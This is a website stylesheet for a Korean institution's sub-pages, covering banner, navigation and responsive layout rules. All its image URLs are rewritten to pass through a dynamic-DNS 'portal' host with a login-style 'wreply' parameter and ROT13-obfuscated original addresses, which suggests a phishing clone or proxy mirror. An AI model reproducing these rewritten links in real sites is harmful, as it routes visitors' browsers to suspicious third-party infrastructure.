@charset "UTF-8";

/*sub top 2depth*/
.subVisual {
    height: 300px;
    text-align:center;
    background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xbfnp.er.xe%2S_fgngvp%2Sxbsnp%2Svzt%2Spbzzba%2SfhoIvfhny1.cat) center no-repeat ;
    position: fixed;
    top: 138px;
    left: 0;
    width: 100%;
    z-index: -1;
}
.subVisual.subVisual1 { background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xbfnp.er.xe%2S_fgngvp%2Sxbsnp%2Svzt%2Spbzzba%2SfhoIvfhny1.cat); }
.subVisual.subVisual2 { background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xbfnp.er.xe%2S_fgngvp%2Sxbsnp%2Svzt%2Spbzzba%2SfhoIvfhny2.cat); }
.subVisual.subVisual3 { background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xbfnp.er.xe%2S_fgngvp%2Sxbsnp%2Svzt%2Spbzzba%2SfhoIvfhny3.cat); }
.subVisual.subVisual4 { background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xbfnp.er.xe%2S_fgngvp%2Sxbsnp%2Svzt%2Spbzzba%2SfhoIvfhny4.cat); }
.subVisual.subVisual5 { background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xbfnp.er.xe%2S_fgngvp%2Sxbsnp%2Svzt%2Spbzzba%2SfhoIvfhny5.cat); }
.subVisual.subVisual6 { background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xbfnp.er.xe%2S_fgngvp%2Sxbsnp%2Svzt%2Spbzzba%2SfhoIvfhny6.cat); }
.subVisual.subVisual7 { background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xbfnp.er.xe%2S_fgngvp%2Sxbsnp%2Svzt%2Spbzzba%2SfhoIvfhny7.cat); }
.subVisual > div  { padding-top:87px;}
.subVisual > div h2 {font-size:2.255em;color:#fff;display: none;line-height: 1;}
.subVisual > div p {color: #fff; margin-top: 6px;}

.scrolled + .content .subVisual{top: 70px;}

/* quick_wrap */
.quick_wrap{position:relative;z-index:1;height: 56px; background-color:rgba(10, 10, 10, 0.85); transition: all .3s ease;text-align: right;opacity: 0.85;
    margin-top: 244px;
    bottom: 0;
    width: 100%;
}
.quick_wrap .container {padding: 0;}
.quick_wrap.scrolled{width: 100%; top: 0;}

.snb_link{overflow: hidden;
    display: inline-block;
    vertical-align: middle;
}
.snb_link li{
    display: inline-block;
    position: relative;
    margin-right: 20px;
    padding-right: 38px;
}
.snb_link li > div{color: #fff; font-size: 0.938em; margin-bottom: 2px;}
.snb_link li:after{
    content: '';
    display: block;
    position: absolute;
    top: 50%;
    bottom: 0;
    right: 0;
    width: 7px;
    height: 12px;
    transform: translateY(-50%);
    -ms-transform: translateY(-50%);
    -webkit-transform: translateY(-50%);
    background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xbfnp.er.xe%2S_fgngvp%2Sxbsnp%2Svzt%2Spbzzba%2Sone_evtug_ba.cat) no-repeat center;
}
.snb_link li:last-child:after{display: none;}
.snb_link li:last-child{margin-right: 0; padding-right: 0;}


/*location sns*/
.sub_rtop{display: inline-block;
    vertical-align: middle;
}
/* .sub_rtop{float: right;} */
.etc_area {position:relative;}
.etc_area > li {float:left; text-align:center; position: relative;}
.etc_area > li:after{content: ''; width: 1px; height:12px; background: #fff; font-size: 0.750em; position: absolute; right: 0; top: 50%; transform: translate(0,-50%); -ms-transform: translate(0,-50%); -webkit-transform: translate(0,-50%);}
.etc_area > li:last-child:after{display: none;}
.etc_area > li > button {display:block; width:100%;}
.etc_area > li > a {position: relative; display: inline-block; height: 56px; padding: 0 23px;}
.etc_area > li:last-child > a{padding-right: 0;}
.etc_area > li > a img{ margin-top:17px;}

/**/
.snb_sns {overflow:hidden; display:none; position:absolute; width:0; left: 0; opacity:0; background:#f7f7f7; transition-duration: 0.2s;-webkit-transition-duration: 0.2s;top: 0px;}
.snb_sns.show {display:block; width:auto; left: -168px; opacity:1;}
.snb_sns > li {position: relative; float:left; display: none; height:56px; width: 56px; border-left: 1px solid #d1d1d1;}
.snb_sns.show > li {display:inline-block;}
.snb_sns.show li > a img{margin-bottom: 0 !important; margin-left: 0 !important;}
.snb_sns li a{display: inline-block; line-height: 1; text-align: center; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); -ms-transform: translate(-50%, -50%); -webkit-transform: translate(-50%, -50%); width: 56px;}
/* .snb_sns li:last-child {width:89px; border-right: 1px solid #d1d1d1;} */
.snb_sns li a.link_copy {display:block; width:89px; font-size:0.93em; color:#353535;}
.snb_sns li:first-child a{-webkit-transform:translate(calc(-50% + 0.5px), calc(-50% + 0.5px));}

/* quick_wrap - QR cord */
.qr_cord {position:relative;}
.qrBox{display: none; position:absolute; top:200px; right:-1px; z-index:99999; margin-top:-150px; margin-left:-115px; width: 300px; height: 258px; padding: 28px; background-color: #fff; border: 1px solid #ddd; border-top:0; text-align: center; cursor: pointer;}
.qrBox.on {display:block;}
.qrBox a.qrBoxClose{ position: absolute; top: 6px; right: 6px; width: 30px; height:30px; line-height:32px; background-color: #414141; color: #fff; text-align: center; text-decoration: none;}
.qrBox p{margin: 13px auto 0; font-size:0.96em; word-break:keep-all;}



/*LNB*/
.lnb_wrap{width: 20%;float: left;margin-right: 4.2%;margin-top: -56px;}
.lnb_wrap h2.lnbTit > span{
    color: #fff;
    display: block;
    font-size: 1.875rem;
    margin-bottom: 1px;
    line-height: 1;
    letter-spacing: -0.050em;
    background: #2c3a48;
    z-index: 21;
    text-align: center;
    padding: 65px 0;
    font-weight: 600;
}
.lnb_wrap h2.lnbTit.line2{margin-bottom: 27px;}
.lnb_wrap>ul{width:100%;/* border-top: 3px solid #0d2d4f; */border-bottom: 1px solid #ddd;}
.lnb_wrap>ul>li{border-top: 1px solid #ddd;}
.lnb_wrap>ul>li.on{background: #0073bc;}
.lnb_wrap>ul>li:first-child{border-top: 0;}
.lnb_wrap>ul>li h3{display: block;width: 100%; height: 55px; line-height: 50px;}
.lnb_wrap>ul>li h3 > a {
    background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xbfnp.er.xe%2S_fgngvp%2Sxbsnp%2Svzt%2Spbzzba%2Syao_oga02.cat) center right 20px no-repeat;
    vertical-align:middle;
    padding: 0 33px 0 19px;
    color:#353535;
    width: 100%;
    font-size: 1.188em;
    line-height: 1.3;
    display: inline-block;
    font-weight: 500;
    }
.lnb_wrap>ul>li h3.on{background: #0073bc;}
.lnb_wrap>ul>li h3.on > a{background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xbfnp.er.xe%2S_fgngvp%2Sxbsnp%2Svzt%2Spbzzba%2Syao_oga01.cat) center right 20px no-repeat;display: inline-block;color: #ffffff;}
.lnb_wrap>ul>li.on> h3 a{background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xbfnp.er.xe%2S_fgngvp%2Sxbsnp%2Svzt%2Spbzzba%2Syao_oga01.cat) center right 20px no-repeat;display: inline-block;color: #ffffff;}
.lnb_wrap>ul>li ul {background: #f5f5f5;padding: 23px 5px 26px 26px;display: none;}
.lnb_wrap>ul>li.on ul { display: block;}
.lnb_wrap>ul>li ul li { position: relative; margin-top: 10px; padding-left: 11px;}
.lnb_wrap>ul>li ul li:before{content: ""; position: absolute; width: 3px; height: 3px; background: #353535; left: 0; top: 9px; display: block; border-radius: 50%;}
.lnb_wrap>ul>li ul li:first-child{margin-top: 0;}
.lnb_wrap>ul>li ul li a{color: #353535;position: relative;display: inline-block;word-break: keep-all; font-weight: 300;}
.lnb_wrap>ul>li ul li a:hover, .lnb_wrap>ul>li ul li a:focus{color: #000;}
.lnb_wrap>ul>li ul li a.on {
    position: relative;
    color: #0073bc;
    font-weight: 500;
}
.lnb_wrap>ul>li ul li a img{margin-left: 5px;}


.contents_wrap{width: calc(100% - 24.285%);display: inline-block;}
.contents_wrap.full{width: 100%;}


/* .sub_section */ 
.sub_section{min-height: 800px;padding-bottom: 114px; background: #fff;}

/* sub title */
.sub_top_tit{ position: relative; display: block;}
h3.sub_top_tit{margin: 50px 0 50px;border-bottom: 1px solid #dedede;}
h3.sub_top_tit span{
    position: relative;
    line-height: 1;
    display: inline-block;
    padding-bottom: 20px;
    font-size: 2.125em;
    color: #1a1a1a;
    font-weight: 500;
}
h3.sub_top_tit span:after{content: '';display: block;position: absolute;bottom: -1px;left: 0;background: #0073bc;height: 2px;width: 50%;}

.container {position: relative;z-index: 0;max-width: 1400px;margin: 0 auto;z-index: 1;}

@media all and (max-width:1200px){

 /* sub title */
 h3.sub_top_tit span{font-size:1.875em;}

 /*LNB*/
 .lnb_wrap h2.lnbTit{font-size: 1.625em;}
 .lnb_wrap>ul>li h3 >a{font-size: 1.063em;}
 .lnb_wrap>ul>li ul li a{font-size: 0.938em;}
 .lnb_wrap h2.lnbTit > span{font-size: 1.75rem;}
}

@media all and (max-width:1024px){

 /* sub title */
 h3.sub_top_tit {    margin: 30px 0 25px;}    

/*location sns*/
.snb_sns > li{width: 50px; height: 50px;}
.snb_sns li a{width: 50px;}    
.snb_sns.show{left: -200px;}


/*sub top 2depth*/
.subVisual{display: none;}

/* quick_wrap */
.quick_wrap{text-align: left; height: 50px; margin-top: auto;}
.quick_wrap > .container{height: 50px;}
.snb_link{position: absolute; top: 50%;
    transform: translateY(-50%);
    left: 15px;
    width: calc(100% - 15px);
}
.snb_link li {
    margin-right: 20px;
    padding-right: 28px;
}

.sub_rtop{float: right;}
.etc_area > li > a{height: 50px; width: 50px; padding: 0;}

 /* .sub_section */ 
 /* .sub_section{padding-top: 27px;} */
/* 
 .visual_wrap{display: none;}
  */

 /* .snb_link */
 /* .snb_link > li > a{min-width:185px;}
 .snb_link{width: calc(100% - 100px); background: #254e97; margin-left: 50px; }
 .snb_link > li{ float: left; position: relative; height: 50px;
 background-color: #254e97;
 background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xbfnp.er.xe%2S_fgngvp%2Slwps%2Svzt%2Sfho%2Sone_ba2.cat);
 background-position: right 20px center; background-repeat: no-repeat; width: 50%; top: 0; left: 0; }
 .snb_link > li.home{top: 0; position: absolute; width: 50px; left: 0; } */

 /* .etc_area */
 .etc_area > li{display: none; }
 .etc_area > li.share_box{display: block;}
 .etc_area > li:after{display: none;}

 /*LNB*/
 .lnb_wrap{display: none;}

 .contents_wrap{width: 100%; display: block;}
}

@media all and (max-width:860px){
    
 /* sub title */
 h3.sub_top_tit {    margin: 0px 0 20px;}      

 /* .sub_section */
 .sub_section{padding: 20px 15px;}

 /* quick_wrap */
 .quick_wrap{height:50px;}
  
 /* .snb_link{left: 0;} */
 /* .snb_link > li.home .icon_home{min-width: 50px;} */
 /* .snb_link */
 /* .snb_link > li{height:50px;} */
 .snb_link > li > a{line-height:50px; height:50px; min-width:135px; padding:0 30px 0 10px; font-size:0.938em;}
 .snb_link li .L2_Items{top:50px;}
 .snb_link li .L2_Items li a{padding-left:10px; font-size:0.938em;}

 .snb_sns > li{height: 50px; width: 55px;}
 .snb_sns.show{left: -220px;}

 /* .etc_area */
 .etc_area > li{width:50px; height:50px; }
 .etc_area > li > a{width:50px; height:50px; }
 .etc_area > li > a img{margin-top:15px;}

}
@media all and (max-width:767px){
 

 /* sub title */
 h3.sub_top_tit{margin-bottom: 18px;}
 h3.sub_top_tit span{font-size:1.5em; }
}

@media all and (max-width:640px){
    
/* quick_wrap */
.snb_link{
width: calc(100% - 60px);
white-space: nowrap;
}

}
 
@media all and (max-width:580px){

 /* .snb_link */
 /* .snb_link > li > a{min-width: 100%;} */

 /* .subVisual  { height:80px;background-size:auto 100%; }
 .subVisual > div { font-size:0; }
 .subVisual > div h2 { font-size:22px; font-weight:normal; color:#fff; display:inline-block; padding:26px 0 8px; } */

 .sub_rtop{position: absolute; top: 0; right: 0;}
 .snb_link > li:nth-last-child(-n+2):after{display: none;}
 .snb_link > li:last-child{display: none;}
 /* .subVisual7 + .quick_wrap .snb_link > li:nth-child(2):after{display: none;} */

 /* h3.sub_top_tit */
 h3.sub_top_tit{margin-bottom: 15px;}
 h3.sub_top_tit span{font-size:1.188em; padding-bottom: 15px;}
 
}


@media all and (max-width:479px){

 

 /* .sub_section */
 .sub_section{padding: 15px 10px 30px;}

 .quick_wrap{height: 35px;}
 .quick_wrap>.container{height: 35px;}
 /* .sub_wrap */
 .snb_link{width: calc(100% - 38px); margin-left: 10px; left: 0;
white-space: nowrap;
}
 /* .snb_link > li{ width: 100%;} */
 .snb_link > li {
     height: 25px;
     background-position: right 10px center;
     font-size: 0.875em;
     margin-right: 10px;
    padding-right: 18px;
 }
 
 .snb_link > li > a {min-width:90px; height:35px; line-height:35px; padding-left:9px; padding-right:34px; font-size: 0.875em;} 
 .snb_link > li.on {background-position:right 10px center;}
 
 .snb_link li .L2_Items {top:35px;}
 .snb_link li .L2_Items li {height:35px; line-height:35px; padding-left:10px;}
 .snb_link li .L2_Items li a {padding:9px 0; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; word-break: keep-all; line-height: 1; font-size: 0.875em;}
 .snb_link > li.home .icon_home {min-width:25px; height: 25px;}
 
 .etc_area > li {width:35px; height:35px;}
 .snb_sns.show {left:-198px;}
 .snb_sns > li {height:35px; }
 .snb_sns li a {width:35px; padding:8px 0; font-size:0.875em;}
 .snb_link li:after {
     background-size: 5px;
     background-position-y: 0px;
 }

 .snb_link > li.home{width:35px;}
 .snb_link > li:last-child a{ overflow: hidden; white-space: nowrap; text-overflow: ellipsis; word-break: keep-all; }

 /**/
 .snb_sns.show {left:-140px;}
 .snb_sns > li {height:35px; width: 35px;}
 .snb_sns li a {width:25px; padding:8px 0; font-size:0.875em;}

 /* .etc_area */
 .etc_area > li {width:35px; height:35px;}
 .etc_area > li > a{width:35px; height:35px;}
 .etc_area > li > a img{margin-top:7px;}


}